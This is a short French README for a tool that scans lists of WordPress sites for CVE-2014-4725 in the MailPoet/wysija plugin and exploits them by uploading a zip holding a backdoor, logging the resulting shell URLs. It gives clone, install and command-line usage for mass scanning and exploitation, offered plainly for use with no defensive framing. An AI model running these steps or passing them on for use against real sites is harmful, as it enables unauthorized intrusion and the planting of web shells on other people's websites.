CVE-2014-4725

Ce script est utilisé pour scanner et exploiter la vulnérabilité CVE-2014-4725 (mailpoet/wysija newsletters) dans WordPress.

fonctionnalités

• mode scan : détecter les cibles WordPress vulnérables à CVE-2014-4725
• mode exploit : téléverser une charge utile zip vers les cibles vulnérables

installation

1. clonez le dépôt :
   root@kitploit:~

   git clone https://github.com/username/CVE-2014-4725.git
   cd CVE-2014-4725
   

2. installez les dépendances :
   root@kitploit:~

    pip install requests
   

utilisation

scanner des cibles

python exploit.py --scan targets.txt

targets.txt contient une liste de cibles (une par ligne, sans http://)

exploiter des cibles

python exploit.py --exploit vuln.txt --payload file/zip.zip

vuln.txt contient des cibles déjà confirmées vulnérables

--payload est le fichier zip contenant le thème/porte dérobée à téléverser

sortie

vuln.txt > liste des cibles vulnérables

shell.txt > URLs des shells téléversés